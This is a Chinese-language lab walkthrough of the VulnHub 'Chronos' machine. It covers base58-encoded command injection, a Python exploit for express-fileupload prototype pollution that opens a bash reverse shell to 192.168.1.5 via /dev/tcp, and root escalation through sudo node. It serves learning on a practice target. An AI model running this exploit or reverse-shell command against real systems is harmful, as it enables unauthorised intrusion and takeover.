vulnhub chronos

参考wp

https://nepcodex.com/2021/08/chronos-walkthrough-vulnhub-writeup/

0x01

信息搜集


0x02

打开网页,啥都没有。
然后访问8000端口,显示当前时间


实在不懂有啥东西,f12里面的script源码也看不懂。
看了wp后----
burp抓包
先是一个啥都没有的包,直接点击forward。
然后收到一个OPTIONS的包,还有奇怪的参数

根据wp的方法,去https://dcode.fr/ 解码。(由于没挂梯子,就卡死了,直接用base58解码了)
是为base58加密,解码得到'+Today is %A, %B %d, %Y %H:%M:%S.'
一看就是网页的输出格式,但是没想到是linux的date命令执行结果。
然后直接反弹shell

将加密结果传上去,本地监听2333端口,获得shell

0x03

按照wp的做法,找到/opt/chronos-v2
然后信息搜集


看到express-fileupload版本为1.1.7小于1.1.10
而且server.js中也用了该工具。最重要的是和 https://dev.to/boiledsteak/simple-remote-code-execution-on-ejs-web-applications-with-express-fileupload-3325 里面的靶机例子简直一样。
不同之处就是要经过127.0.0.1来请求。所以不能用上面链接的方式去远程打靶机。要在这个反弹的shell里面自己打我自己。记住是在靶机8080端口运行的。
编写exploit.py

import requests

cmd = 'bash -c "bash -i &> /dev/tcp/192.168.1.5/2555 0>&1"'

print("Starting Attack...")

requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName':(None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

requests.get('http://127.0.0.1:8080')
print("Finished!")

然后在靶机上运行,本地监听2555端口


得到一个用户的shell

0x04

获取到第一个flag


然后想办法提权。
查找suid文件

似乎没有利用点
查看sudo -l

发现npm和node可以利用
npm利用:https://gtfobins.github.io/gtfobins/npm/#sudo
经过尝试,全都失败了
node利用:https://gtfobins.github.io/gtfobins/node/#sudo
成功

得到root权限,靶机打穿

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇